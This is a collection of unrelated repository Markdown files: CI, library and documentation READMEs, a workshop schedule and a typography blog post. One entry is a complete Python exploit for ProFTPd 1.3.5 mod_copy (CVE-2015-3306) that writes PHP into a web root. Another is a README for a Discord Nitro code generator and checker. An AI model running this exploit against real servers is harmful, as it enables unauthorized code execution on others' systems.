text:
# Travis CI Arduino Init Script [![Build Status](https://travis-ci.org/adafruit/travis-ci-arduino.svg?branch=master)](https://travis-ci.org/adafruit/travis-ci-arduino)

The purpose of this repo is to create a centrally managed dependency
install script for all Adafruit Arduino Library Travis CI configs.
This will allow us to easily update the install steps without
having to manually or programatically update 100+ `.travis.yml` files.

## Adding to Travis CI Configs

You will need to source the script in the `before_install` step of your
`.travis.yml` file.

```
source <(curl -SLs https://raw.githubusercontent.com/adafruit/travis-ci-arduino/master/install.sh)
```

**Example `.travis.yml`:**
```
language: c
before_install:
  - source <(curl -SLs https://raw.githubusercontent.com/adafruit/travis-ci-arduino/master/install.sh)
install:
  - arduino --install-library "Adafruit SleepyDog Library,Adafruit FONA Library"
script:
  - build_main_platforms
notifications:
  email:
    on_success: change
    on_failure: change
```

## Automated Example Verification Bash Functions

`build_platform` will build all `.ino` examples in the repo using the passed platform. The platforms
are defined in the `MAIN_PLATFORMS` and `AUX_PLATFORMS` associative arrays at the top of the script.

All of the examples will be built with the platforms in `MAIN_PLATFORMS` if you call `build_main_platforms`,
and `AUX_PLATFORMS` can be used to define other platforms that don't need to be verified for every repo.

Build the examples using the platforms in the MAIN_PLATFORMS array:
```
script:
  - build_main_platforms
```

Build the examples only using the trinket:
```
script:
  - build_platform trinket
```

### Skipping Platforms

If you would like to skip one of the main platforms when running `build_main_platforms`,
you can commit a `.YOUR_PLATFORM_HERE.test.skip` file to the example sketch directory you
wish to skip. You will need to use the array key defined in `MAIN_PLATFORMS` for the platform
you wish to skip.

For example, if you would like to skip the `esp8266` platform for an example
in your lib called `blink.ino`, you would need to do something like this in your library repo:

```
$ touch examples/blink/.esp8266.test.skip
$ git add -A
$ git commit -a
$ git push
```

If you need an easy way to skip a platform, you can also add something like this to your `~/.bash_profile`:

```
function travis_skip()
{

  local platform_key=$1

  # grab all pde and ino example sketches
  local examples=$(find $PWD -name "*.pde" -o -name "*.ino")

  # loop through example sketches
  for example in $examples; do

    # store the full path to the example's sketch directory
    local example_dir=$(dirname $example)

    touch ${example_dir}/.${platform_key}.test.skip

  done

}
```

You will then be able to skip a platform for all examples by running the `travis_skip` function from your library repo.
It will automatically add the `.YOUR_PLATFORM_HERE.test.skip` files to the examples.

```
$ travis_skip esp8266
```


text:
<!-- Do not edit this file. It is automatically generated by API Documenter. -->

[Home](./index.md) > [@pebula/touchstone](./touchstone.md) > [CaseResult](./touchstone.caseresult.md)

## CaseResult interface

<b>Signature:</b>

```typescript
export interface CaseResult
```

## Properties

|  Property | Type | Description |
|  --- | --- | --- |
|  [benchmarkOptions](./touchstone.caseresult.benchmarkoptions.md) | [BenchmarkOptions](./touchstone.benchmarkoptions.md) | The benchmark options used to run this case. |
|  [hz](./touchstone.caseresult.hz.md) | number | The number of executions per second. (Operations Per Second)  https://benchmarkjs.com/docs\#prototype\_hz |
|  [hzDeviation](./touchstone.caseresult.hzdeviation.md) | number |  |
|  [hzSamples](./touchstone.caseresult.hzsamples.md) | number\[\] |  |
|  [name](./touchstone.caseresult.name.md) | string |  |
|  [stats](./touchstone.caseresult.stats.md) | [CaseStats](./touchstone.casestats.md) | An object of stats including mean, margin or error, and standard deviation. |
|  [timing](./touchstone.caseresult.timing.md) | Times | An object of timing data including cycle, elapsed, period, start, and stop.  https://benchmarkjs.com/docs\#prototype\_times |
|  [variantParent](./touchstone.caseresult.variantparent.md) | string | Indicates (when truthy) if the current case is a variant case. If truthy, the actual value represents the name of the root case which it is a variant of. |

license: MIT

repository: shlomiassaf/node

branch_name: refs/heads/main

extension: md

gha_language: TypeScript

gha_license_id: MIT

license_type: permissive

repo_name: shlomiassaf/node


text:
---
layout: post
title:  "Fall 2016 Workshop Schedule"
date:   2016-09-28 19:15:01 -0800
categories: Schedules
---
Below are the tentative dates for the data science workshops of Fall 2016. An email will be sent out to the DSI email list when registration opens, which will typically be one week before the workshop date. Stay tuned for more workshops and events!

October 3 – Intro to Linux on the HPC

October 7 – Intro to R

October 20 – Next Gen. Sequencing Data Analysis

October 25 – A Non-trivial Intro to Julia

November 7 – Predictive Modeling with Python

November 18 – Intro to R

December 2 – Topics in R (Interactive visualizations and reports)

branch_name: refs/heads/master

gha_language: CSS


text:
## Discord-Nitro-Generator-Checker
This is an open-source Discord Nitro Generator written in Python! Please Do Not Copy, unless you Credit!
## Features
+ Nitro Code Generation, amount you choice!
+ Nitro Code Checking while Generating.
+ Summary Screen Once Finished Generating.
+ Discord Webhook (Valid Codes get posted straight to a Discord Webhook!)
## Things To Note
All Nitro Codes are Randomly Generated, before you reply with "fAkE nItRo CoDeS wErE aLl InVaLiD!" just remember that it is super unlikely you will get a valid code.
## Installation
+ GitHub
```
git clone https://github.com/cutieQue/Discord-Nitro-Generator-Checker.git
```
Run
```
"install.bat"
```
Then Run the new file
```
"START-PROGRAM.bat"
```
and you should be good to go!

You MUST Have The Latest Version of Python installed (recommended). I Am not sure how smoothly or if it would run at all on other versions!
##
Any Issues Please Let Me Know!
##
- [x] Is This Still Being Updated?
- [x] Is it easy to use?
## LICENSE
[MIT](LICENSE) Que


text:
# angular-codeigniter-seed
A seed based on [multi-angular-apps-seed](http://apps.phatpham.com/angular-codeigniter-seed) with CodeIgniter on the back.

### Source structure
```
api/                                  -> codeigniter v3.0 source files, application and system directories
apps/                                 -> all apps source files
  admin/                              -> admin's app source files
    controllers/                      -> angular controller scripts
    directives/                       -> angular directive scripts
    services/                         -> angular service scripts
    routes/                           -> angular routes scripts
    views/                            -> view templates
    app.js                            -> main application module
  frontend/                           -> frontend's app source files
    controllers/                      -> angular controller scripts
    directives/                       -> angular directive scripts
    services/                         -> angular service scripts
    routes/                           -> angular routes scripts
    views/                            -> view templates
    app.js                            -> main application module
  shared/                             -> all shared assets between the apps
    fonts/                            -> copied font files
    images/                           -> image files
    scripts/                          -> build js files
    styles/                           -> build css files
grunt/                                -> gruntjs tasks files
  config/                             -> all tasks configuration
  pipeline/                           -> configuration of assets linker
  register/                           -> all tasks register
views/                                -> all view templates of the apps rendered by server
  admin/                              -> view templates of admin app
    layout.php                        -> layout file to be linked assets
  frontend/                           -> view templates of frontend app
    layout.php                        -> layout file to be linked assets
Gruntfile.js                          -> main script to load and register grunt tasks
bower.json                            -> dependencies list
package.json                          -> node packages list
.htaccess
```

### Included libraries
* angular-resource
* angular-ui-router
* angular-cookies
* angular-bootstrap
* ng-progress
* oclazyload
* jquery
* bootstrap
* font-awesome
* nomalize.css

### Grunt tasks
* grunt-contrib-clean
* grunt-contrib-concat
* grunt-contrib-copy
* grunt-contrib-cssmin
* grunt-contrib-uglify
* grunt-contrib-watch
* grunt-sails-linker

## Installation

### Prerequisites
You need
* [Git](http://git-scm.com/) to clone the repo
* [Node.js](http://nodejs.org/) and its package manager npm to install and build dependencies
* PHP-Apache stack to host the app

### Clone angular-codeigniter-seed
```sh
$ git clone https://github.com/phatpham9/angular-codeigniter-seed
$ cd angular-codeigniter-seed
```

### Install dependencies
Node modules then vendors will be install
```sh
$ npm install
```

### Build
In development mode, run
```sh
$ grunt
```
Or in production mode, run
```sh
$ grunt prod
```

### Run the application
Start the Apache server then open your browser and enter [http://localhost/angular-codeigniter-seed/](http://localhost/angular-codeigniter-seed/) to go to frontend app by default. To go to admin app, enter [http://localhost/angular-codeigniter-seed/admin/](http://localhost/angular-codeigniter-seed/admin/)

### Contribute
If you like it and want to contribute, just folk my repo and pull your requests.

### License
MIT license

### Version
0.0.1

repository: hantulautt/angular-codeigniter-seed

repo_name: hantulautt/angular-codeigniter-seed


text:
# GitHub Issue Migration

This is a dumb little script that migrates issues from one GitHub repo to another.

- Issue titles are copied unmodified.
- Issue body links to original, and attributes to original author, like so:

> @username opened old-org/old-repo#X
>
> original issue body

- Comments are copied and attributed to the original author:

> @username \[commented\](link-to-original)
>
> original comment

- The original issue is closed, with a comment linking to the new issue:

> Issue moved to new-org/new-repo#X

- labels, milestones, and assignee are also copied, since that's what we want in IPython/Jupyter.
  If labels and/or milestones are missing on the target repo, they will be created.

## Install:

    gem install octokit highline netrc

If you have a `~/.netrc` file, check that the permission are `0600`.

## Usage

There's not much to it. Just specify a source and target repo, then one or more issue numbers:

    migrate-issues org/from-repo other-org/to-repo 1 2 3 4 ...

repository: minrk/migrate-issues

gha_language: Ruby

repo_name: minrk/migrate-issues


text:
# pretty

Prettify JSON on the command line via STDIN.

## Usage

```
$ echo "{\"hello\":\"world\"}" > file.json
$ cat file.json
{"hello":"world"}

$ cat file.json | pretty
{
  "hello" : "world"
}

```

### Network JSON

Prettified output with `curl`:

```
$ curl -s "https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/4.5_day.geojson" | pretty
{
  "metadata" : {
    "status" : 200,
    "api" : "1.10.3",
    "title" : "USGS Magnitude 4.5+ Earthquakes, Past Day",
    "count" : 9,
    "url" : "https:\/\/earthquake.usgs.gov\/earthquakes\/feed\/v1.0\/summary\/4.5_day.geojson",
    "generated" :<PHONE_NUMBER>000
  },
  "features" : [
    {
      "properties" : {
        "place" : "southern Mid-Atlantic Ridge",
        "tz" : null,
        "time" :<PHONE_NUMBER>182,
        "status" : "reviewed",
        "url" : "https:\/\/earthquake.usgs.gov\/earthquakes\/eventpage\/us6000f3hg",
        "alert" : null,
        "tsunami" : 0,
        "sig" : 385,
        "code" : "6000f3hg",
        "ids" : ",us6000f3hg,",
        "dmin" : 15.169,
        "gap" : 91,
        "magType" : "mb",
        "title" : "M 5.0 - southern Mid-Atlantic Ridge",
        "nst" : null,
        "updated" :<PHONE_NUMBER>040,
        "mag" : 5,
        "types" : ",origin,phase-data,",
        "type" : "earthquake",
        "cdi" : null,
        "net" : "us",
        "sources" : ",us,",
        "felt" : null,
        "detail" : "https:\/\/earthquake.usgs.gov\/earthquakes\/feed\/v1.0\/detail\/us6000f3hg.geojson",
        "mmi" : null,
        "rms" : 0.68999999999999995
      },
      "id" : "us6000f3hg",
      "type" : "Feature",
      "geometry" : {
        "type" : "Point",
        "coordinates" : [
          -6.1341000000000001,
          -56.627299999999998,
          10
        ]
      }
    },
    ...
  ],
  "type" : "FeatureCollection",
  "bbox" : [
    -76.182900000000004,
    -59.8399,
    10,
<PHONE_NUMBER>9999999,
    51.628500000000003,
    254.34
  ]
}
```

### Save output to file:

```
$ cat file.json | pretty > prettified.json
```

### Prettifying JSON from the clipboard

1. Select and copy the minified JSON
2. On the terminal, type `pretty`
3. Paste the minified JSON

Example:
```
$ pretty
{"hello":"world"}
{
  "hello" : "world"
}
$
```

## Installation

### From Source

```
$ git clone https://github.com/eneko/pretty.git && cd pretty
$ swift build -c release --disable-sandbox
$ install .build/release/pretty /usr/local/bin/
```

### Uninstall

```
$ rm /usr/local/bin/pretty
```

repository: eneko/pretty

repo_name: eneko/pretty


text:
EXP
---

    # Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
    # Date: 25/05/2021
    # Exploit Author: Shellbr3ak
    # Version: 1.3.5
    # Tested on: Ubuntu 16.04.6 LTS
    # CVE : CVE-2015-3306

    #!/usr/bin/env python3

    import sys
    import socket
    import requests

    def exploit(client, target):
        client.connect((target,21)) # Connecting to the target server
        banner = client.recv(74)
        print(banner.decode())
        client.send(b'site cpfr /etc/passwd\r\n')
        print(client.recv(1024).decode())
        client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
        print(client.recv(1024).decode())
        client.send(b'site cpfr /proc/self/fd/3\r\n')
        print(client.recv(1024).decode())
        client.send(b'site cpto /var/www/html/test.php\r\n')
        print(client.recv(1024).decode())
        client.close()
        print('Exploit Completed')

    def check(url):
        req = requests.get(url) # Requesting the written PoC php file via HTTP
        if req.status_code == 200:
            print('[+] File Written Successfully')
            print(f'[+] Go to : {url}')
        else:
            print('[!] Something Went Wrong')
            print('[!] Directory might not be writable')

    def main():
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        target = sys.argv[1]
        exploit(client, target)
        url = 'http://' + target + '/test.php'
        check(url)

    if __name__ == '__main__':
        main()


text:
# bayesian strucural time series

https://en.wikipedia.org/wiki/Bayesian_structural_time_series

All ARIMA models can be written as structural time series models

# packages

R package bsts

https://github.com/wwrechard/pydlm

tensorflow probability
https://blog.tensorflow.org/2019/03/structural-time-series-modeling-in.html

https://people.ischool.berkeley.edu/~hal/Papers/2013/pred-present-with-bsts.pdf

repository: franchb/csdocs

repo_name: franchb/csdocs


text:
# RailsAdmin Order Items

This gem is a custom collection action for Rails Admin that permits items reordering for your models from the admin, and getting them back with in the right order inside your frontend.

## Usage

In your Gemfile :

```ruby
gem "rails_admin_order_items", :git => "git@github.com:vala/rails_admin_order_items.git"
```

Bundle and install migration and migrate :

```bash
bundle install
rake rails_admin_order_items_engine:install:migrations
rake db:migrate
```

In your Rails Admin initializer : config/initializers/rails_admin.rb

```ruby
RailsAdmin.config do |config|
  # Add actions config block
  config.actions do
    dashboard
    index
    new
    export
    history_index
    bulk_delete
    show
    edit
    delete
    history_show
    show_in_app
    # Add the order_items action
    order_items
  end
end
```

Reboot your server if it was running, and now you got a "Reorder ModelName" tab alongside "List", "Add new" etc. action tabs in the index view of your models. You can order your models by dragging them or by typing an index in the dedicated input and pressing _Enter_ key

To call the ordered model items, just use `YourModel.ordered_items`
Note : Because of the way ordering is handled for now, you get back an array from this method and not an ActiveRecord::Relation object

E.g. :

```ruby
class PicturesController < ApplicationController
  def index
    @pics = Picture.ordered_items
  end
end
```


text:
# Configuring

## Runtime Configuration Files

The behavior JupyterLite in the browser can be controlled by creating specially-named
files at any level of the file tree. It is expected each file conforms to the
[schema](#schema). For an example, see the [demo configuration](#demo-configuration).

| File                 | Config Location              | `jupyter-config-data` | Note                                            |
| -------------------- | ---------------------------- | --------------------- | ----------------------------------------------- |
| `jupyter-lite.ipynb` | `#/metadata/jupyter-lite`    | ✔                    | integrates into existing Jupyter workflows      |
| `jupyter-lite.json`  | whole file                   | ✔                    | good for simple/automated configuration         |
| `index.html`         | `script#jupyter-config-data` | ✔                    | configuration of last resort, _not recommended_ |

Each can be omitted from the file tree, and will result in a harmless (though noisy)
`404` response.

```{hint}
Configuration cascades _down_, such that the closest, most-user-editable file
to the `index.html` being served takes highest precedence. Like-named keys will
be _replaced_  by higher-priority files, with the notable exceptions of:

- the `federated_extensions` and `disabledExtensions` lists are appended and
  deduplicated
- the `settingsOverrides` dictionary will be merged at the top level of each plugin
```

### Schema

```{warning}
The current schema version is `0`, and as such is _subject to change_. Once it has
stabilized, we hope to provide similar backwards-compatibility guarantees as the
[Jupyter Notebook Format][nbformat].
```

As the schema provides _many_ options, please see the dedicated pages below.

```{toctree}
schema-v0
```

[nbformat]: https://nbformat.readthedocs.io/en/latest/format_description.html
[releases]: https://github.com/jupyterlite/jupyterlite/releases
[pypi]: https://pypi.org/project/jupyterlite
[npmjs.com]: https://www.npmjs.com/package/@jupyterlite/app

## Adding Content

### Content with the CLI

With the [CLI](./cli.ipynb) installed, run

```bash
jupyter lite build
```

...any contents of `{lite-dir}/files/` (and any added `--contents`) will be:

- copied to the built site under `{output-dir}/files/`
  - may have timestamps changed if `--source-date-epoch` is provided.
- indexed to provide `{output-dir}/api/contents/{subdir?}/all.json`

## Adding Extensions

JupyterLab 3 [federated extensions] allow for adding new capabilities to JupyterLite
without rebuilding the entire web application. A good starting point for extensions that
_might_ work is the JupyterLab issue _[Extension Compatibility with 3.0
(#9461)][#9461]_. Additionally, this site demonstrates a few
[extensions](#demo-extension-notes).

[#9461]: https://github.com/jupyterlab/jupyterlab/issues/9461
[federated extensions]: https://jupyterlab.readthedocs.io/en/stable/user/extensions.html

### Extensions with the CLI

#### Environment Extensions

When you `jupyter lite build`, all federated extensions in your JupyterLab environment,
e.g. `{sys.prefix}/share/jupyter/labextensions` will be:

- copied to `{output-dir}/lab/extensions`
- have its theme information copied to `{output-dir}/{app/?}theme/`

#### Extensions for a Specific App

Similar to the above, by updating `$YOUR_JUPYTERLITE/{app}/jupyter-lite.json`, the
federated extensions will only be avaialable for pages within that file tree.

#### Custom Extensions

By placing extensions under `{lite-dir}/lab/extensions/{org/?}{package}/`, these will
also be copied into the `output-dir` _after_ any environment extensions, and all will be
added to `{output-dir}/jupyter-lite.json#jupyter-config-data/federated_extensions`.

```{hint}
For example, after building a lab extension, you can copy the contents of
`packages.json#/jupyterlab/outputDir` right into the `lite-dir` to preview your
extension.
```

## Customizing Settings

With the [CLI](./cli.ipynb), if you create an `overrides.json` in either the root, or a
specific `app` directory, these will be:

- merged into
  `{output-dir}/{app?}/jupyter-lite.json#/jupyter-config-data/settingsOverrides`

## About the Demo

This documentation site contains the JupyterLite Demo (the **Try** buttons on the top of
the screen) and uses a number of techniques described on this page.

### Demo Configuration

The following generated configuration powers the Demo, and is generated prior to
building the docs site, copied in during the build, and fetched by browsers from
`/_static/jupyter-lite.json`.

```{include} ../build/docs-app/jupyter-lite.json

```

### Demo Extension Notes

The `federated_extensions` above are copied from the documentation environment prior to
building this site with [Sphinx](deploying.md#sphinx), and are meant to exercise
different kinds of extensions, including themes, MIME renderers, and Widgets. Some
transient dependencies _also_ include labextensions, but don't work entirely correctly.

| extension                             | notes                        | working issue |
| ------------------------------------- | ---------------------------- | ------------- |
| `@jupyter-widgets/jupyterlab-manager` | needs [Jupyter Kernel Comms] | [#18]         |
| `@jupyterlab/server-proxy`            | needs server extension       |               |
| `nbdime`                              | needs server extension       |               |

[#18]: https://github.com/jupyterlite/jupyterlite/issues/18
[jupyter kernel comms]:
  https://jupyter-client.readthedocs.io/en/stable/messaging.html?highlight=comms#custom-messages

## The Hard Way

### Content, The Hard Way

Assuming:

- you have a running JupyterLab 3
- you want to add all of the files in the root folder of the current JupyterLab to your
  JupyterLite.

Open a browser:

- view the
  [Contents API](https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html#get--api-contents-path),
  e.g. `http://localhost:8888/api/contents`, which should look something like:

```json
{
  "name": "",
  "path": "",
  "last_modified": "2021-05-15T20:16:17.753908Z",
  "created": "2021-05-15T20:16:17.753908Z",
  "format": "json",
  "mimetype": null,
  "size": null,
  "writable": true,
  "type": "directory",
  "content": [
    {
      "name": "README.md",
      "path": "README.md",
      "last_modified": "2021-05-15T20:12:22.261076Z",
      "created": "2021-05-15T20:12:22.261076Z",
      "content": null,
      "format": null,
      "mimetype": "text/markdown",
      "size": 3735,
      "writable": true,
      "type": "file"
    }
  ]
}
```

- Paste this JSON in `$YOUR_JUPYTERLITE/api/contents/all.json`
- Copy your files in `$YOUR_JUPYTERLITE/files`
- Repeat this for every subfolder `:(`

Now, when the app reloads, these files will appear in the File Browser _if_ there isn't
an existing file of that name in browser storage. If a user _has_ created such a file,
and is deleted, the original server-backed file will become visible.

 Each folder contains either:

- if it begins with `@`, a collection of packages
- otherwise, a single federated extension

```bash
cd $YOUR_JUPYTERLITE
mkdir -p lab/extensions
cd lab/extensions
cp -r $PREFIX/share/jupyter/labextensions/@jupyter-widgets/jupyterlab-manager .
```

```{warning}
Some extensions will require _other_ extensions to be available. This can be
determined by looking in `package.json` for the extension, specifically
`#/jupyterlab/sharedPackages`.
```

#### Handle theme assets

The Theme Manager expects to be able to load theme CSS/font assets from
`{:app}/build/themes/({:org}/){:package}`, where `app` is usually `lab`.

Continuing the example above:

```bash
cd $YOUR_JUPYTERLITE/lab/extensions
mkdir -p ../build/themes
cp -r @*/*/themes/* ../build/themes/
cp -r @*/themes/* ../build/themes/
# To also ensure these are available for JupyterLite Retro:
mkdir -p ../../retro/build/themes
cp -r @*/*/themes/* ../../retro/build/themes/
cp -r @*/themes/* ../../retro/build/themes/
```

#### Fill Out `federated_extensions`

Again, assuming you have a working JupyterLab, click _Inspect Element_ in your Lab and
inspect the `<script id="jupyter-config-data">` in the `<head>`. The entry you need will
be contained there.

Update your `/app/jupyter-lite.json` like so:

```json
{
  "federated_extensions": [
    {
      "extension": "./extension",
      "load": "static/remoteEntry.ca1efc27dc965162ca86.js",
      "name": "@jupyter-widgets/jupyterlab-manager"
    }
  ]
}
```

```{hint}
Some extensions also include a `style` key, and may look _off_ if omitted.
```

repository: cwang-dhs/jupyterlite

repo_name: cwang-dhs/jupyterlite


text:
# Rack Roles

Each rack can optionally be assigned a user-defined functional role. For example, you might designate a rack for compute or storage resources, or to house colocated customer devices.

## Fields

### Name

A unique human-friendly name.

### Slug

A unique URL-friendly identifier. (This value can be used for filtering.)

### Color

The color used when displaying the role in the NetBox UI.

repository: netbox-community/netbox

branch_name: refs/heads/develop

gha_language: Python

repo_name: netbox-community/netbox


text:
# Checklist

This app was built by Stephen Wu to facilitate program requirements for the [STEM Exploration & Engagement Scholars Program](https://u.osu.edu/stemeescholars/). Checklist uses Google Spreadsheets to read and store program requirements and progress for users in any organization.

![Instructions](https://raw.githubusercontent.com/wustep/stemee/master/checklist/INFO.png)

## Tech

This project was bootstrapped with [Create React App](https://github.com/facebookincubator/create-react-app). Checklist was written in NodeJS, using React and other packages and the [Google Spreadsheets v4 API](https://developers.google.com/sheets/api/).

## Usage

Create .env file with the following variables (without comments):
```
PORT=3000                # Port to use for client & server in production, or just client in development
SERVER_PORT=3001         # Port to use for server in development, default: 3010
SPREADSHEET              # Google Spreadsheet ID

REACT_APP_API_DEV=http://localhost:3001/api
REACT_APP_URL_DEV=http://localhost:3000
REACT_APP_API_PROD=http://localhost:3000/api
REACT_APP_URL_PROD=http://localhost:3000
REACT_APP_GOOGLE_ANALYTICS=UA_......

```

Add a client_secret.json into root following [these instructions](https://developers.google.com/sheets/api/quickstart/nodejs#step_1_turn_on_the_api_name).

With node & npm installed, run 'npm build' and then 'npm start' for production or 'npm run server' and 'npm run client' separately for development. Note: You might need Node >v6.0 for react-scripts!

Info on how to set up the spreadsheet to come!

Full commands list ("npm run [command]")
```
go: build & start for production
build: builds and serves client and server files for production
start: serves built client and server files for production
start-test: serves built client and starts server for development with nodemon

server: starts server for development with nodemon
client: starts client for development with webpack-dev-server
server-build: builds client for production to /server/
client-build: builds client for production to /build/
client-test: runs react testing script
```

See API.md for more info on API routes.

## Contact

- Stephen Wu - STEM EE Scholars Consultant -<EMAIL_ADDRESS>- Jorge Eduardo Mendoza - STEM EE Scholars Coordinator -<EMAIL_ADDRESS>

repository: wustep/stemee

repo_name: wustep/stemee


text:
CSSLoader
=========

What is it about
-----

Mobile websites nowadays are often required to look well on many different devices and screen resolutions.
We often use media queries to conditionally apply stylesheets, such as:

```html
<link rel="stylesheet" href="213.css" media="only screen and (max-width: 239px)">
<link rel="stylesheet" href="240.css" media="only screen and (min-width: 240px) and (max-width: 319px)">
<link rel="stylesheet" href="320.css" media="only screen and (min-width: 320px) and (max-width: 359px)">
<link rel="stylesheet" href="360.css" media="only screen and (min-width: 360px) and (max-width: 383px)">
...
<link rel="stylesheet" href="1280.css" media="only screen and (min-width: 1280px)">
```

The problem
-----

Considering all devices available on the market now, you will need to supply **over 20** different stylesheets.

If you're naive enough, you will think that the browser will only download the stylesheets with media queries which evaluate to true.
But you're mistaken - the browser will download **all** stylesheets, yet not apply them. This will slow down your mobile website.

How CSSLoader will help you
-----

With CSSLoader you can specify all your stylesheets once - and it will only download the stylesheets required for the current screen resolution.

### Quickstart

Make sure all your CSS files contain the following rule:

```css
	body {
		cursor: default
	}
```

Then setup the page as following:

```html
<style>
	/*
		Add this style before loading any stylesheets.
		It's magic to allow callbacks when your CSS files are ready
	*/
	body { cursor: wait }
</style>

<script src="CSSLoader.js"></script>

<script>
	var loader = new CSSLoader({

		// Specify the path to load your stylesheets from, {w} is the width
		path: '/styles/{w}.css',

		// Specify the viewport widths you support
		widths: [
			213, 240, 320, 360,
			384, 400, 424, 427,
			480, 512, 533, 540,
			568, 569, 600, 640,
			720, 753, 768, 800,
			854, 960, 1280
		]

	});

	// Load the stylesheets
	loader.load();

</script>
```

### How can I tune CSSLoader and use callbacks?

```javascript
	loader.load({

		// Maximum time in milliseconds to download a stylesheet, once over, will result in timeout
		maxWaitTime: 5000,

		// How often to check if the stylesheet has been downloaded (in milliseconds)
		stepTime: 50,

		beforeRequest: function () {
			// Called before a stylesheet file starts loading
			// Called ONCE per file
		},

		timeout: function () {
			// Called when the maximum wait time is exceeded
			// Can be due to network errors or wrong CSSLoader callback configuration
		},

		success: function (timeEllapsed) {
			// Called when a stylesheet has finished loading
			// Called ONLY when the file is newly loaded
		},

		complete: function () {
			// Called when a stylesheet loaded before is now applied again
			// e.g - on rotation
		}

	});
```

### Using CSSLoader to load stylesheets when the screen is rotated (using jQuery)

```javascript

	// loader = previously created CSSLoader

	$(window).on('resize', function () {
		loader.load();
	});

```

Credits
-----

This script has been created during a project in [CSSSR](http://csssr.ru) - the amazing frontend studio.

repository: azanov/CSSLoader

repo_name: azanov/CSSLoader


text:
---
categories:
- design
date: "2016-04-28T15:21:21+01:00"
description: So a few weeks' ago I discovered a very small but excellently designed
  typeface from a Phitra Design called Skybird. I decided almost at once that I would
  use it on deliciousreverie, and replace the old typeface, Vollkorn from Google Fonts
draft: false
tags:
- typography
title: 'Updated Typeface: Introducing Skybird'
---

**So a few weeks' ago I discovered a very small but excellently designed typeface from a Phitra Design called [Skybird](http://phitradesign-fonts.com/#skybird "Phitra Design - Skybird").** I decided almost at once that I would use it on deliciousreverie, and replace the old typeface, Vollkorn from Google Fonts.

Straight away I felt that I identified with the typeface—it really spoke to my aesthetic: rustic, Victorian, with a hint of Edith Holden's [Country Diary](http://www.countrydiary.co.uk/ "Country Diary of an Edwardian Lady"). I must admit to becoming more confident in this aesthetic recently. Even though it's not perhaps what's in vogue right now, I would much rather choose something for my personal site that represents me, and is a little bit more offbeat.
I love Skybird very much, I'm sure it's going to be popping up on other sites I design, as long as I can justify it.

### Switching from Vollkorn.

Vollkorn is a nice font, bold, rounded, with a hint of Cooper Black (another one of my favourites) — but there were a few downsides to using it here. As well as what I've said above about aesthetic, the font had to be retrieved from Google's Content Delivery Network to be used, which sometimes added long delays to the site.

### Performance Benefits

As a result of switching to Skybird, I have gained a 100% performance rating from Google's [PageSpeed Insights](https://developers.google.com/speed/pagespeed/ "Page Speed Insights test"):

I also test my sites with Pingdom's Tools, which gave some further insights:

The grand total of 3 requests demonstrates that it's very possible today to design and build lightweight sites that still look good and are much more easily accessible by people in areas where there's not so good internet connections (read: anywhere but the western world!).

If you're looking for some excellently crafted, unusual fonts, please check out [Phitra Design](http://phitradesign-fonts.com/ "Phitra Design fonts home"), there are some lovely alternatives to the overused classics on this site.

**UPDATE:** Some of my friends mentioned today that Skybird as a body font doesn't work so well, and were having trouble reading my posts. I'm grateful that they called me out on that, and as a result I now have PT Sans (from Google fonts) as the body copy. The performance rating is down to 89%, which isn't quite as good as it was before, but there has to be a trade off between legibility and performance.


text:
# Silverstripe One Page Module

[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/wernerkrauss/silverstripe-onepage/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/wernerkrauss/silverstripe-onepage/?branch=master)

This module provides a basic skeleton to build one-page sites easily.

## Installation
Best installed via composer. You may clone the repo or download the zip, however you should find a directory called "onepage" with all files in your silverstripe root folder.

### using Composer
```
composer require wernerkrauss/silverstripe-onepage dev-master
```

### Requirements
  * Silverstripe 4
  * [Heyday Colorpalette](https://packagist.org/packages/heyday/silverstripe-colorpalette)

  For a SS3 compatible version see [v0.3.1](https://github.com/wernerkrauss/silverstripe-onepage/tree/0.3.1)

## Features
  * Pick colors for each slide: background, header and text
  * Define a background image for each slide
  * Define an extra css class for each slide to be extra flexible
  * Slides redirect to the parent holder when called directly

## Configuration
You can define the colors for picking in your config.yml as key value pairs globally or for each page type, e.g.

```yml
Page:
  background_color_palette:
    - '#fff'
    - '#aacccc'
    - '#ccaaaa'
    - '#000'
```

You can limit the additional fields (colors and background images) in the layout tab to onepage slides only:

```yml
Netwerkstatt\Onepage\Extensions\OnePageSlide:
  use_only_on_onepage_slides: true
```

You can set empty defaults and switch off the need to choose colors by setting:

```yml
Netwerkstatt\Onepage\Extensions\OnePageSlide:
  colors_can_be_empty: true
```

## Usage
### Basic setup
Define a page as page type "One Page Holder" and add some child pages.
In the tab "Layout" you can add all extra stuff like background image, colors or css-class. That's all!

![OnePage Module CMS screenshot](https://github.com/wernerkrauss/silverstripe-onepage/blob/master/docs/images/onepage-screenshot-cms.jpg)

### Different page types
You can of course use any page type as a slide. Simply create an own template for inclusion as a slide and add the suffix "_onepage" to it's name.
See the included file [Page_onepage.ss](templates/Includes/Page_onepage.ss)

If your page type supports multiple layouts (e.g. by a dropdown) you can add a function called `generateOnePageTemplateSuffix()` in your page like this:

```
	public function generateOnePageTemplateSuffix() {
		return '_' . $this->Layout . '_onepage';
	}
```

This way you can render the slide with a template called like "Page_layout1_onepage.ss"

## Tips
### Navigation and scrolling to slides
Navigaton / scrolling to slides can be done e.g. using the [OnepageNav jQuery plugin](http://github.com/davist11/jQuery-One-Page-Nav) which is not bundled with this module.

A possible javascript for setting it up could be:
```
$(function($){
    //remove pathname from slide links if they are on the current page
    $.when(
        $('#MainNavList').find('a').each(function(){
            if ($(this).prop('pathname') == window.location.pathname) {
                $(this).prop('href', $(this).prop('hash'));
            } else {
                $(this).addClass('external');
            }
        })
    ).done(function(){
        //initialize onepage nav
        $('#MainNavList').onePageNav({
            currentClass: 'current',
            changeHash: false,
            scrollSpeed: 750,
            scrollThreshold: 0.5,
            filter: ':not(.external)',
            easing: 'swing'
        });
    });
});
```

## Showcases

You can see the module in action on this sites:
  - http://www.hallstattmarketing.at
  - http://seerundlauf.hallstatt.net
  - http://www.netwerkstatt.at
  - http://www.princess-filler.eu

Feel free to add your project to this list.

## Alternatives
There are some block builder modules for SilverStripe out there. The default module for SilverStripe 4 is [Elemental](https://github.com/dnadesign/silverstripe-elemental).

## Contributing
Feel free to file issues or submit pull requests.

